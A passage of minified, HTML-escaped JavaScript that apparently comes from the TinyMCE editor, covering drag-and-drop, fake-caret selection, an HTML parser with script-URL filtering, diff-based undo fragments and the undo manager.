r,o,i,a,u,s,c;Tv(l)}},Tv=function(e){e.dragging=!1,e.element=null,Nv(e.ghost)},kv=function(e){var t,n,r,o,i,a,p,h,v,u,s,c={};t=Si.DOM,a=V.document,n=Ev(c,e),p=c,h=e,v=he.throttle(function(e,t){h._selectionOverrides.hideFakeCaret(),h.selection.placeCaretAt(e,t)},0),r=function(e){var t,n,r,o,i,a,u,s,c,l,f,d,m=Math.max(Math.abs(e.screenX-p.screenX),Math.abs(e.screenY-p.screenY));if(p.element&amp;&amp;!p.dragging&amp;&amp;10&lt;m){if(h.fire(&quot;dragstart&quot;,{target:p.element}).isDefaultPrevented())return;p.dragging=!0,h.focus()}if(p.dragging){var g=(f=p,{pageX:(d=Cv(h,e)).pageX-f.relX,pageY:d.pageY+5});c=p.ghost,l=h.getBody(),c.parentNode!==l&amp;&amp;l.appendChild(c),t=p.ghost,n=g,r=p.width,o=p.height,i=p.maxX,a=p.maxY,s=u=0,t.style.left=n.pageX+&quot;px&quot;,t.style.top=n.pageY+&quot;px&quot;,n.pageX+r&gt;i&amp;&amp;(u=n.pageX+r-i),n.pageY+o&gt;a&amp;&amp;(s=n.pageY+o-a),t.style.width=r-u+&quot;px&quot;,t.style.height=o-s+&quot;px&quot;,v(e.clientX,e.clientY)}},o=Sv(c,e),u=c,i=function(){u.dragging&amp;&amp;s.fire(&quot;dragend&quot;),Tv(u)},(s=e).on(&quot;mousedown&quot;,n),e.on(&quot;mousemove&quot;,r),e.on(&quot;mouseup&quot;,o),t.bind(a,&quot;mousemove&quot;,r),t.bind(a,&quot;mouseup&quot;,i),e.on(&quot;remove&quot;,function(){t.unbind(a,&quot;mousemove&quot;,r),t.unbind(a,&quot;mouseup&quot;,i)})},_v=function(e){var n;kv(e),(n=e).on(&quot;drop&quot;,function(e){var t=&quot;undefined&quot;!=typeof e.clientX?n.getDoc().elementFromPoint(e.clientX,e.clientY):null;(xv(t)||xv(n.dom.getContentEditableParent(t)))&amp;&amp;e.preventDefault()})},Av=function(t){var e=Vi(function(){if(!t.removed&amp;&amp;t.selection.getRng().collapsed){var e=fg(t,t.selection.getRng(),!1);t.selection.setRng(e)}},0);t.on(&quot;focus&quot;,function(){e.throttle()}),t.on(&quot;blur&quot;,function(){e.cancel()})},Rv=jo.isContentEditableTrue,Dv=jo.isContentEditableFalse,Ov=function(e,t){for(var n=e.getBody();t&amp;&amp;t!==n;){if(Rv(t)||Dv(t))return t;t=t.parentNode}return null},Bv=function(g){var p,e,t,a=g.getBody(),o=ds(g.getBody(),function(e){return g.dom.isBlock(e)},function(){return sh(g)}),h=&quot;sel-&quot;+g.dom.uniqueId(),u=function(e){e&amp;&amp;g.selection.setRng(e)},s=function(){return g.selection.getRng()},v=function(e,t,n,r){return void 0===r&amp;&amp;(r=!0),g.fire(&quot;ShowCaret&quot;,{target:t,direction:e,before:n}).isDefaultPrevented()?null:(r&amp;&amp;g.selection.scrollIntoView(t,-1===e),o.show(n,t))},y=function(e,t){return t=Os(e,a,t),-1===e?_u.fromRangeStart(t):_u.fromRangeEnd(t)},n=function(e){return ka(e)||Oa(e)||Ba(e)},b=function(e){return n(e.startContainer)||n(e.endContainer)},c=function(e){var t=g.schema.getShortEndedElements(),n=g.dom.createRng(),r=e.startContainer,o=e.startOffset,i=e.endContainer,a=e.endOffset;return br(t,r.nodeName.toLowerCase())?0===o?n.setStartBefore(r):n.setStartAfter(r):n.setStart(r,o),br(t,i.nodeName.toLowerCase())?0===a?n.setEndBefore(i):n.setEndAfter(i):n.setEnd(i,a),n},l=function(e,t){var n,r,o,i,a,u,s,c,l,f,d=g.$,m=g.dom;if(!e)return null;if(e.collapsed){if(!b(e))if(!1===t){if(c=y(-1,e),gs(c.getNode(!0)))return v(-1,c.getNode(!0),!1,!1);if(gs(c.getNode()))return v(-1,c.getNode(),!c.isAtEnd(),!1)}else{if(c=y(1,e),gs(c.getNode()))return v(1,c.getNode(),!c.isAtEnd(),!1);if(gs(c.getNode(!0)))return v(1,c.getNode(!0),!1,!1)}return null}return i=e.startContainer,a=e.startOffset,u=e.endOffset,3===i.nodeType&amp;&amp;0===a&amp;&amp;Dv(i.parentNode)&amp;&amp;(i=i.parentNode,a=m.nodeIndex(i),i=i.parentNode),1!==i.nodeType?null:(u===a+1&amp;&amp;i===e.endContainer&amp;&amp;(n=i.childNodes[a]),Dv(n)?(l=f=n.cloneNode(!0),(s=g.fire(&quot;ObjectSelected&quot;,{target:n,targetClone:l})).isDefaultPrevented()?null:(r=oa(ar.fromDom(g.getBody()),&quot;#&quot;+h).fold(function(){return d([])},function(e){return d([e.dom()])}),l=s.targetClone,0===r.length&amp;&amp;(r=d(&#039;&lt;div data-mce-bogus=&quot;all&quot; class=&quot;mce-offscreen-selection&quot;&gt;&lt;/div&gt;&#039;).attr(&quot;id&quot;,h)).appendTo(g.getBody()),e=g.dom.createRng(),l===f&amp;&amp;fe.ie?(r.empty().append(&#039;&lt;p style=&quot;font-size: 0&quot; data-mce-bogus=&quot;all&quot;&gt;\xa0&lt;/p&gt;&#039;).append(l),e.setStartAfter(r[0].firstChild.firstChild),e.setEndAfter(l)):(r.empty().append(&quot;\xa0&quot;).append(l).append(&quot;\xa0&quot;),e.setStart(r[0].firstChild,1),e.setEnd(r[0].lastChild,0)),r.css({top:m.getPos(n,g.getBody()).y}),r[0].focus(),(o=g.selection.getSel()).removeAllRanges(),o.addRange(e),z(Qi(ar.fromDom(g.getBody()),&quot;*[data-mce-selected]&quot;),function(e){Sr(e,&quot;data-mce-selected&quot;)}),n.setAttribute(&quot;data-mce-selected&quot;,&quot;1&quot;),p=n,C(),e)):null)},f=function(){p&amp;&amp;(p.removeAttribute(&quot;data-mce-selected&quot;),oa(ar.fromDom(g.getBody()),&quot;#&quot;+h).each(Ui),p=null),oa(ar.fromDom(g.getBody()),&quot;#&quot;+h).each(Ui),p=null},C=function(){o.hide()};return fe.ceFalse&amp;&amp;(function(){g.on(&quot;mouseup&quot;,function(e){var t=s();t.collapsed&amp;&amp;ph(g,e.clientX,e.clientY)&amp;&amp;u(lg(g,t,!1))}),g.on(&quot;click&quot;,function(e){var t;(t=Ov(g,e.target))&amp;&amp;(Dv(t)&amp;&amp;(e.preventDefault(),g.focus()),Rv(t)&amp;&amp;g.dom.isChildOf(t,g.selection.getNode())&amp;&amp;f())}),g.on(&quot;blur NewBlock&quot;,function(){f()}),g.on(&quot;ResizeWindow FullscreenStateChanged&quot;,function(){return o.reposition()});var n,r,i=function(e,t){var n,r,o=g.dom.getParent(e,g.dom.isBlock),i=g.dom.getParent(t,g.dom.isBlock);return!(!o||!g.dom.isChildOf(o,i)||!1!==Dv(Ov(g,o)))||o&amp;&amp;(n=o,r=i,!(g.dom.getParent(n,g.dom.isBlock)===g.dom.getParent(r,g.dom.isBlock)))&amp;&amp;function(e){var t=Js(e);if(!e.firstChild)return!1;var n=_u.before(e.firstChild),r=t.next(n);return r&amp;&amp;!Lf(r)&amp;&amp;!Ff(r)}(o)};r=!1,(n=g).on(&quot;touchstart&quot;,function(){r=!1}),n.on(&quot;touchmove&quot;,function(){r=!0}),n.on(&quot;touchend&quot;,function(e){var t=Ov(n,e.target);Dv(t)&amp;&amp;(r||(e.preventDefault(),l(cg(n,t))))}),g.on(&quot;mousedown&quot;,function(e){var t,n=e.target;if((n===a||&quot;HTML&quot;===n.nodeName||g.dom.isChildOf(n,a))&amp;&amp;!1!==ph(g,e.clientX,e.clientY))if(t=Ov(g,n))Dv(t)?(e.preventDefault(),l(cg(g,t))):(f(),Rv(t)&amp;&amp;e.shiftKey||yv(e.clientX,e.clientY,g.selection.getRng())||(C(),g.selection.placeCaretAt(e.clientX,e.clientY)));else if(!1===gs(n)){f(),C();var r=vv(a,e.clientX,e.clientY);if(r&amp;&amp;!i(e.target,r.node)){e.preventDefault();var o=v(1,r.node,r.before,!1);g.getBody().focus(),u(o)}}}),g.on(&quot;keypress&quot;,function(e){rv.modifierPressed(e)||(e.keyCode,Dv(g.selection.getNode())&amp;&amp;e.preventDefault())}),g.on(&quot;getSelectionRange&quot;,function(e){var t=e.range;if(p){if(!p.parentNode)return void(p=null);(t=t.cloneRange()).selectNode(p),e.range=t}}),g.on(&quot;setSelectionRange&quot;,function(e){e.range=c(e.range);var t=l(e.range,e.forward);t&amp;&amp;(e.range=t)}),g.on(&quot;AfterSetSelectionRange&quot;,function(e){var t,n=e.range;b(n)||&quot;mcepastebin&quot;===n.startContainer.parentNode.id||C(),t=n.startContainer.parentNode,g.dom.hasClass(t,&quot;mce-offscreen-selection&quot;)||f()}),g.on(&quot;copy&quot;,function(e){var t,n=e.clipboardData;if(!e.isDefaultPrevented()&amp;&amp;e.clipboardData&amp;&amp;!fe.ie){var r=(t=g.dom.get(h))?t.getElementsByTagName(&quot;*&quot;)[0]:t;r&amp;&amp;(e.preventDefault(),n.clearData(),n.setData(&quot;text/html&quot;,r.outerHTML),n.setData(&quot;text/plain&quot;,r.outerText))}}),_v(g),Av(g)}(),e=g.contentStyles,t=&quot;.mce-content-body&quot;,e.push(o.getCss()),e.push(t+&quot; .mce-offscreen-selection {position: absolute;left: -9999999999px;max-width: 1000000px;}&quot;+t+&quot; *[contentEditable=false] {cursor: default;}&quot;+t+&quot; *[contentEditable=true] {cursor: text;}&quot;)),{showCaret:v,showBlockCaretContainer:function(e){e.hasAttribute(&quot;data-mce-caret&quot;)&amp;&amp;(Pa(e),u(s()),g.selection.scrollIntoView(e[0]))},hideFakeCaret:C,destroy:function(){o.destroy(),p=null}}},Pv=function(e){for(var t=e;/&lt;!--|--!?&gt;/g.test(t);)t=t.replace(/&lt;!--|--!?&gt;/g,&quot;&quot;);return t},Iv=function(e,t,n){var r,o,i,a,u=1;for(a=e.getShortEndedElements(),(i=/&lt;([!?\/])?([A-Za-z0-9\-_\:\.]+)((?:\s+[^&quot;\&#039;&gt;]+(?:(?:&quot;[^&quot;]*&quot;)|(?:\&#039;[^\&#039;]*\&#039;)|[^&gt;]*))*|\/|\s+)&gt;/g).lastIndex=r=n;o=i.exec(t);){if(r=i.lastIndex,&quot;/&quot;===o[1])u--;else if(!o[1]){if(o[2]in a)continue;u++}if(0===u)break}return r},Lv=function(e,t){var n=e.exec(t);if(n){var r=n[1],o=n[2];return&quot;string&quot;==typeof r&amp;&amp;&quot;data-mce-bogus&quot;===r.toLowerCase()?o:null}return null};function Fv(z,U){void 0===U&amp;&amp;(U=di());var e=function(){};!1!==(z=z||{}).fix_self_closing&amp;&amp;(z.fix_self_closing=!0);var j=z.comment?z.comment:e,V=z.cdata?z.cdata:e,H=z.text?z.text:e,q=z.start?z.start:e,$=z.end?z.end:e,W=z.pi?z.pi:e,K=z.doctype?z.doctype:e;return{parse:function(e){var t,n,r,d,o,i,a,m,u,s,g,c,p,l,f,h,v,y,b,C,x,w,N,E,S,T,k,_,A,R=0,D=[],O=0,B=ti.decode,P=Xt.makeMap(&quot;src,href,data,background,formaction,poster,xlink:href&quot;),I=/((java|vb)script|mhtml):/i,L=function(e){var t,n;for(t=D.length;t--&amp;&amp;D[t].name!==e;);if(0&lt;=t){for(n=D.length-1;t&lt;=n;n--)(e=D[n]).valid&amp;&amp;$(e.name);D.length=t}},F=function(e,t,n,r,o){var i,a,u,s,c;if(n=(t=t.toLowerCase())in g?t:B(n||r||o||&quot;&quot;),p&amp;&amp;!m&amp;&amp;0==(0===(u=t).indexOf(&quot;data-&quot;)||0===u.indexOf(&quot;aria-&quot;))){if(!(i=y[t])&amp;&amp;b){for(a=b.length;a--&amp;&amp;!(i=b[a]).pattern.test(t););-1===a&amp;&amp;(i=null)}if(!i)return;if(i.validValues&amp;&amp;!(n in i.validValues))return}if(P[t]&amp;&amp;!z.allow_script_urls){var l=n.replace(/[\s\u0000-\u001F]+/g,&quot;&quot;);try{l=decodeURIComponent(l)}catch(f){l=unescape(l)}if(I.test(l))return;if(c=l,!(s=z).allow_html_data_urls&amp;&amp;(/^data:image\//i.test(c)?!1===s.allow_svg_data_urls&amp;&amp;/^data:image\/svg\+xml/i.test(c):/^data:/i.test(c)))return}m&amp;&amp;(t in P||0===t.indexOf(&quot;on&quot;))||(d.map[t]=n,d.push({name:t,value:n}))};for(S=new RegExp(&quot;&lt;(?:(?:!--([\\w\\W]*?)--!?&gt;)|(?:!\\[CDATA\\[([\\w\\W]*?)\\]\\]&gt;)|(?:!DOCTYPE([\\w\\W]*?)&gt;)|(?:\\?([^\\s\\/&lt;&gt;]+) ?([\\w\\W]*?)[?/]&gt;)|(?:\\/([A-Za-z][A-Za-z0-9\\-_\\:\\.]*)&gt;)|(?:([A-Za-z][A-Za-z0-9\\-_\\:\\.]*)((?:\\s+[^\&quot;&#039;&gt;]+(?:(?:\&quot;[^\&quot;]*\&quot;)|(?:&#039;[^&#039;]*&#039;)|[^&gt;]*))*|\\/|\\s+)&gt;))&quot;,&quot;g&quot;),T=/([\w:\-]+)(?:\s*=\s*(?:(?:\&quot;((?:[^\&quot;])*)\&quot;)|(?:\&#039;((?:[^\&#039;])*)\&#039;)|([^&gt;\s]+)))?/g,s=U.getShortEndedElements(),E=z.self_closing_elements||U.getSelfClosingElements(),g=U.getBoolAttrs(),p=z.validate,u=z.remove_internals,A=z.fix_self_closing,k=U.getSpecialElements(),N=e+&quot;&gt;&quot;;t=S.exec(N);){if(R&lt;t.index&amp;&amp;H(B(e.substr(R,t.index-R))),n=t[6])&quot;:&quot;===(n=n.toLowerCase()).charAt(0)&amp;&amp;(n=n.substr(1)),L(n);else if(n=t[7]){if(t.index+t[0].length&gt;e.length){H(B(e.substr(t.index))),R=t.index+t[0].length;continue}&quot;:&quot;===(n=n.toLowerCase()).charAt(0)&amp;&amp;(n=n.substr(1)),c=n in s,A&amp;&amp;E[n]&amp;&amp;0&lt;D.length&amp;&amp;D[D.length-1].name===n&amp;&amp;L(n);var M=Lv(T,t[8]);if(null!==M){if(&quot;all&quot;===M){R=Iv(U,e,S.lastIndex),S.lastIndex=R;continue}f=!1}if(!p||(l=U.getElementRule(n))){if(f=!0,p&amp;&amp;(y=l.attributes,b=l.attributePatterns),(v=t[8])?((m=-1!==v.indexOf(&quot;data-mce-type&quot;))&amp;&amp;u&amp;&amp;(f=!1),(d=[]).map={},v.replace(T,F)):(d=[]).map={},p&amp;&amp;!m){if(C=l.attributesRequired,x=l.attributesDefault,w=l.attributesForced,l.removeEmptyAttrs&amp;&amp;!d.length&amp;&amp;(f=!1),w)for(o=w.length;o--;)a=(h=w[o]).name,&quot;{$uid}&quot;===(_=h.value)&amp;&amp;(_=&quot;mce_&quot;+O++),d.map[a]=_,d.push({name:a,value:_});if(x)for(o=x.length;o--;)(a=(h=x[o]).name)in d.map||(&quot;{$uid}&quot;===(_=h.value)&amp;&amp;(_=&quot;mce_&quot;+O++),d.map[a]=_,d.push({name:a,value:_}));if(C){for(o=C.length;o--&amp;&amp;!(C[o]in d.map););-1===o&amp;&amp;(f=!1)}if(h=d.map[&quot;data-mce-bogus&quot;]){if(&quot;all&quot;===h){R=Iv(U,e,S.lastIndex),S.lastIndex=R;continue}f=!1}}f&amp;&amp;q(n,d,c)}else f=!1;if(r=k[n]){r.lastIndex=R=t.index+t[0].length,(t=r.exec(e))?(f&amp;&amp;(i=e.substr(R,t.index-R)),R=t.index+t[0].length):(i=e.substr(R),R=e.length),f&amp;&amp;(0&lt;i.length&amp;&amp;H(i,!0),$(n)),S.lastIndex=R;continue}c||(v&amp;&amp;v.indexOf(&quot;/&quot;)===v.length-1?f&amp;&amp;$(n):D.push({name:n,valid:f}))}else(n=t[1])?(&quot;&gt;&quot;===n.charAt(0)&amp;&amp;(n=&quot; &quot;+n),z.allow_conditional_comments||&quot;[if&quot;!==n.substr(0,3).toLowerCase()||(n=&quot; &quot;+n),j(n)):(n=t[2])?V(Pv(n)):(n=t[3])?K(n):(n=t[4])&amp;&amp;W(n,t[5]);R=t.index+t[0].length}for(R&lt;e.length&amp;&amp;H(B(e.substr(R))),o=D.length-1;0&lt;=o;o--)(n=D[o]).valid&amp;&amp;$(n.name)}}}(Fv||(Fv={})).findEndTag=Iv;var Mv=Fv,zv=function(e,t){var n,r,o,i,a,u,s,c,l=t,f=/&lt;(\w+) [^&gt;]*data-mce-bogus=&quot;all&quot;[^&gt;]*&gt;/g,d=e.schema;for(u=e.getTempAttrs(),s=l,c=new RegExp([&quot;\\s?(&quot;+u.join(&quot;|&quot;)+&#039;)=&quot;[^&quot;]+&quot;&#039;].join(&quot;|&quot;),&quot;gi&quot;),l=s.replace(c,&quot;&quot;),a=d.getShortEndedElements();i=f.exec(l);)r=f.lastIndex,o=i[0].length,n=a[i[1]]?r:Mv.findEndTag(d,l,r),l=l.substring(0,r-o)+l.substring(n),f.lastIndex=r-o;return wa(l)},Uv={trimExternal:zv,trimInternal:zv},jv=0,Vv=2,Hv=1,qv=function(g,p){var e=g.length+p.length+2,h=new Array(e),v=new Array(e),c=function(e,t,n,r,o){var i=l(e,t,n,r);if(null===i||i.start===t&amp;&amp;i.diag===t-r||i.end===e&amp;&amp;i.diag===e-n)for(var a=e,u=n;a&lt;t||u&lt;r;)a&lt;t&amp;&amp;u&lt;r&amp;&amp;g[a]===p[u]?(o.push([0,g[a]]),++a,++u):r-n&lt;t-e?(o.push([2,g[a]]),++a):(o.push([1,p[u]]),++u);else{c(e,i.start,n,i.start-i.diag,o);for(var s=i.start;s&lt;i.end;++s)o.push([0,g[s]]);c(i.end,t,i.end-i.diag,r,o)}},y=function(e,t,n,r){for(var o=e;o-t&lt;r&amp;&amp;o&lt;n&amp;&amp;g[o]===p[o-t];)++o;return{start:e,end:o,diag:t}},l=function(e,t,n,r){var o=t-e,i=r-n;if(0===o||0===i)return null;var a,u,s,c,l,f=o-i,d=i+o,m=(d%2==0?d:d+1)/2;for(h[1+m]=e,v[1+m]=t+1,a=0;a&lt;=m;++a){for(u=-a;u&lt;=a;u+=2){for(s=u+m,u===-a||u!==a&amp;&amp;h[s-1]&lt;h[s+1]?h[s]=h[s+1]:h[s]=h[s-1]+1,l=(c=h[s])-e+n-u;c&lt;t&amp;&amp;l&lt;r&amp;&amp;g[c]===p[l];)h[s]=++c,++l;if(f%2!=0&amp;&amp;f-a&lt;=u&amp;&amp;u&lt;=f+a&amp;&amp;v[s-f]&lt;=h[s])return y(v[s-f],u+e-n,t,r)}for(u=f-a;u&lt;=f+a;u+=2){for(s=u+m-f,u===f-a||u!==f+a&amp;&amp;v[s+1]&lt;=v[s-1]?v[s]=v[s+1]-1:v[s]=v[s-1],l=(c=v[s]-1)-e+n-u;e&lt;=c&amp;&amp;n&lt;=l&amp;&amp;g[c]===p[l];)v[s]=c--,l--;if(f%2==0&amp;&amp;-a&lt;=u&amp;&amp;u&lt;=a&amp;&amp;v[s]&lt;=h[s+f])return y(v[s],u+e-n,t,r)}}},t=[];return c(0,g.length,0,p.length,t),t},$v=function(e){return jo.isElement(e)?e.outerHTML:jo.isText(e)?ti.encodeRaw(e.data,!1):jo.isComment(e)?&quot;\x3c!--&quot;+e.data+&quot;--\x3e&quot;:&quot;&quot;},Wv=function(e,t,n){var r=function(e){var t,n,r;for(r=V.document.createElement(&quot;div&quot;),t=V.document.createDocumentFragment(),e&amp;&amp;(r.innerHTML=e);n=r.firstChild;)t.appendChild(n);return t}(t);if(e.hasChildNodes()&amp;&amp;n&lt;e.childNodes.length){var o=e.childNodes[n];o.parentNode.insertBefore(r,o)}else e.appendChild(r)},Kv=function(e){return U(W(te(e.childNodes),$v),function(e){return 0&lt;e.length})},Xv=function(e,t){var n,r,o,i=W(te(t.childNodes),$v);return n=qv(i,e),r=t,o=0,z(n,function(e){e[0]===jv?o++:e[0]===Hv?(Wv(r,e[1],o),o++):e[0]===Vv&amp;&amp;function(e,t){if(e.hasChildNodes()&amp;&amp;t&lt;e.childNodes.length){var n=e.childNodes[t];n.parentNode.removeChild(n)}}(r,o)}),t},Yv=Hi(_.none()),Gv=function(e){return{type:&quot;fragmented&quot;,fragments:e,content:&quot;&quot;,bookmark:null,beforeBookmark:null}},Jv=function(e){return{type:&quot;complete&quot;,fragments:null,content:e,bookmark:null,beforeBookmark:null}},Qv=function(e){return&quot;fragmented&quot;===e.type?e.fragments.join(&quot;&quot;):e.content},Zv=function(e){var t=ar.fromTag(&quot;body&quot;,Yv.get().getOrThunk(function(){var e=V.document.implementation.createHTMLDocument(&quot;undo&quot;);return Yv.set(_.some(e)),e}));return ya(t,Qv(e)),z(Qi(t,&quot;*[data-mce-bogus]&quot;),ji),t.dom().innerHTML},ey=function(n){var e,t,r;return e=Kv(n.getBody()),-1!==(t=(r=G(e,function(e){var t=Uv.trimInternal(n.serializer,e);return 0&lt;t.length?[t]:[]})).join(&quot;&quot;)).indexOf(&quot;&lt;/iframe&gt;&quot;)?Gv(r):Jv(t)},ty=function(e,t,n){&quot;fragmented&quot;===t.type?Xv(t.fragments,e.getBody()):e.setContent(t.content,{format:&quot;raw&quot;}),e.selection.moveToBookmark(n?t.beforeBookmark:t.bookmark)},ny=function(e,t){return!(!e||!t)&amp;&amp;(r=t,Qv(e)===Qv(r)||(n=t,Zv(e)===Zv(n)));var n,r};function ry(u){var s,r,o=this,c=0,l=[],t=0,f=function(){return 0===t},i=function(e){f()&amp;&amp;(o.typing=e)},d=function(e){u.setDirty(e)},a=function(e){i(!1),o.add({},e)},n=function(){o.typing&amp;&amp;(i(!1),o.add())};return u.on(&quot;init&quot;,function(){o.add()}),u.on(&quot;BeforeExecCommand&quot;,function(e){var t=e.command;&quot;Undo&quot;!==t&amp;&amp;&quot;Redo&quot;!==t&amp;&amp;&quot;mceRepaint&quot;!==t&amp;&amp;(n(),o.beforeChange())}),u.on(&quot;ExecCommand&quot;,function(e){var t=e.command;&quot;Undo&quot;!==t&amp;&amp;&quot;Redo&quot;!==t&amp;&amp;&quot;mceRepaint&quot;!==t&amp;&amp;a(e)}),u.on(&quot;ObjectResizeStart Cut&quot;,function(){o.beforeChange()}),u.on(&quot;SaveContent ObjectResized blur&quot;,a),u.on(&quot;DragEnd&quot;,a),u.on(&quot;KeyUp&quot;,function(e){var t=e.keyCode;e.isDefaultPrevented()||((33&lt;=t&amp;&amp;t&lt;=36||37&lt;=t&amp;&amp;t&lt;=40||45===t||e.ctrlKey)&amp;&amp;(a(),u.nodeChanged()),46!==t&amp;&amp;8!==t||u.nodeChanged(),r&amp;&amp;o.typing&amp;&amp;!1===ny(ey(u),l[0])&amp;&amp;(!1===u.isDirty()&amp;&amp;(d(!0),u.fire(&quot;change&quot;,{level:l[0],lastLevel:null})),u.fire(&quot;TypingUndo&quot;),r=!1,u.nodeChanged()))}),u.on(&quot;KeyDown&quot;,function(e){var t=e.keyCode;if(!e.isDefaultPrevented())if(33&lt;=t&amp;&amp;t&lt;=36||37&lt;=t&amp;&amp;t&lt;=40||45===t)o.typing&amp;&amp;a(e);else{var n=e.ctrlKey&amp;&amp;!e.altKey||e.metaKey;!(t&lt;16||20&lt;t)||224===t||91===t||o.typing||n||(o.beforeChange(),i(!0),o.add({},e),r=!0)}}),u.on(&quot;MouseDown&quot;,function(e){o.typing&amp;&amp;a(e)}),u.on(&quot;input&quot;,function(e){var t;e.inputType&amp;&amp;(&quot;insertReplacementText&quot;===e.inputType||&quot;insertText&quot;===(t=e).inputType&amp;&amp;null===t.data)&amp;&amp;a(e)}),u.addShortcut(&quot;meta+z&quot;,&quot;&quot;,&quot;Undo&quot;),u.addShortcut(&quot;meta+y,meta+shift+z&quot;,&quot;&quot;,&quot;Redo&quot;),u.on(&quot;AddUndo Undo Redo ClearUndos&quot;,function(e){e.isDefaultPrevented()||u.nodeChanged()}),o={data:l,typing:!1,beforeChange:function(){f()&amp;&amp;(s=Yu.getUndoBookmark(u.selection))},add:function(e,t){var n,r,o,i=u.settings;if(o=ey(u),e=e||{},e=Xt.extend(e,o),!1===f()||u.removed)return null;if(r=l[c],u.fire(&quot;BeforeAddUndo&quot;,{level:e,lastLevel:r,originalEvent:t}).isDefaultPrevented())return null;if(r&amp;&amp;ny(r,e))return null;if(l[c]&amp;&amp;(l[c].beforeBookmark=s),i.custom_undo_redo_levels&amp;&amp;l.length&gt;i.custom_undo_redo_levels){for(n=0;n&lt;l.length-1;n++)l[n]=l[n+1];l.length--,c=l.length}e.bookmark=Yu.getUndoBookmark(u.selection),c&lt;l.length-1&amp;&amp;(l.length=c+1),l.push(e),c=l.length-1;var a={level:e,lastLevel:r,originalEvent:t};return u.fire(&quot;AddUndo&quot;,a),0&lt;c&amp;&amp;(d(!0),u.fire(&quot;change&quot;,a)),e},undo:function(){var e;return o.typing&amp;&amp;(o.add(),o.typing=!1,i(!1)),0&lt;c&amp;&amp;(e=l[--c],ty(u,e,!0),d(!0),u.fire(&quot;undo&quot;,{level:e})),e},redo:function(){var e;return c&lt;l.length-1&amp;&amp;(e=l[++c],ty(u,e,!1),d(!0),u.fire(&quot;redo&quot;,{level:e})),e},clear:function(){l=[],c=0,o.typing=!1,o.data=l,u.fire(&quot;ClearUndos&quot;)},hasUndo:function(){return 0&lt;c||o.typing&amp;&amp;l[0]&amp;&amp;!ny(ey(u),l[0])},hasRedo:function(){return c&lt;l.length-1&amp;&amp;!o.typing},transact:function(e){return n(),o.beforeChange(),o.ignore(e),o.add()},ignore:function(e){try{t++,e()}finally{t--}},extra:function(e,t){var n,r;o.transact(e)&amp;&amp;(r=l[c].bookmark,n=l[c-1],ty(u,n,!0),o.transact(t)&amp;&amp;(l[c-1].beforeBookmark=r))}}}var oy,iy,ay={},uy=Ht.filter,sy=Ht.each;iy=function(e){var t,n,r=e.selection.getRng();t=jo.matchNodeNames(&quot;pre&quot;),r.collapsed||(n=e.selection.getSelectedBlocks(),sy(uy(uy(n,t),function(e){return t(e.previousSibling)&amp;&amp;-1!==Ht.indexOf(n,e.previousSibling)}),function(e){var t,n;t=e.previousSibling,gn(n=e).remove(),gn(t).append(&quot;&lt;br&gt;&lt;br&gt;&quot;).append(n.childNodes)}))},ay[oy=&quot;pre&quot;]||(ay[oy]=[]),ay[oy].push(iy);var cy=function(e,t){sy(ay[e],function(e){e(t)})},ly=/^(src|href|style)$/,fy=Xt.each,dy=wc.isEq,my=function(e,t,n){return e.isChildOf(t,n)&amp;&amp;t!==n&amp;&amp;!e.isBlock(n)},gy=function(e,t,n){var r,o,i;return r=t[n?&quot;startContainer&quot;:&quot;endContainer&quot;],o=t[n?&quot;startOffset&quot;:&quot;endOffset&quot;],jo.isElement(r)&amp;&amp;(i=r.childNodes.length-1,!n&amp;&amp;o&amp;&amp;o--,r=r.childNodes[i&lt;o?i:o]),jo.isText(r)&amp;&amp;n&amp;&amp;o&gt;=r.nodeValue.length&amp;&amp;(r=new go(r,e.getBody()).next()||r),jo.isText(r)&amp;&amp;!n&amp;&amp;0===o&amp;&amp;(r=new go(r,e.getBody()).prev()||r),r},py=function(e,t,n,r){var o=e.create(n,r);return t.parentNode.insertBefore(o,t),o.appendChild(t),o},hy=function(e,t,n,r,o){var i=ar.fromDom(t),a=ar.fromDom(e.create(r,o)),u=n?Wr(i):$r(i);return Mi(a,u),n?(Pi(i,a),Li(a,i)):(Ii(i,a),Fi(a,i)),a.dom()},vy=function(e,t,n,r){return!(t=wc.getNonWhiteSpaceSibling(t,n,r))||&quot;BR&quot;===t.nodeName||e.isBlock(t)},yy=function(e,n,r,o,i){var t,a,u,s,c,l,f,d,m,g,p,h,v,y,b=e.dom;if(c=b,!(dy(l=o,(f=n).inline)||dy(l,f.block)||(f.selector?jo.isElement(l)&amp;&amp;c.is(l,f.selector):void 0)||(s=o,n.links&amp;&amp;&quot;A&quot;===s.tagName)))return!1;if(&quot;all&quot;!==n.remove)for(fy(n.styles,function(e,t){e=wc.normalizeStyleValue(b,wc.replaceVars(e,r),t),&quot;number&quot;==typeof t&amp;&amp;(t=e,i=0),(n.remove_similar||!i||dy(wc.getStyle(b,i,t),e))&amp;&amp;b.setStyle(o,t,&quot;&quot;),u=1}),u&amp;&amp;&quot;&quot;===b.getAttrib(o,&quot;style&quot;)&amp;&amp;(o.removeAttribute(&quot;style&quot;),o.removeAttribute(&quot;data-mce-style&quot;)),fy(n.attributes,function(e,t){var n;if(e=wc.replaceVars(e,r),&quot;number&quot;==typeof t&amp;&amp;(t=e,i=0),!i||dy(b.getAttrib(i,t),e)){if(&quot;class&quot;===t&amp;&amp;(e=b.getAttrib(o,t))&amp;&amp;(n=&quot;&quot;,fy(e.split(/\s+/),function(e){/mce\-\w+/.test(e)&amp;&amp;(n+=(n?&quot; &quot;:&quot;&quot;)+e)}),n))return void b.setAttrib(o,t,n);&quot;class&quot;===t&amp;&amp;o.removeAttribute(&quot;className&quot;),ly.test(t)&amp;&amp;o.removeAttribute(&quot;data-mce-&quot;+t),o.removeAttribute(t)}}),fy(n.classes,function(e){e=wc.replaceVars(e,r),i&amp;&amp;!b.hasClass(i,e)||b.removeClass(o,e)}),a=b.getAttribs(o),t=0;t&lt;a.length;t++){var 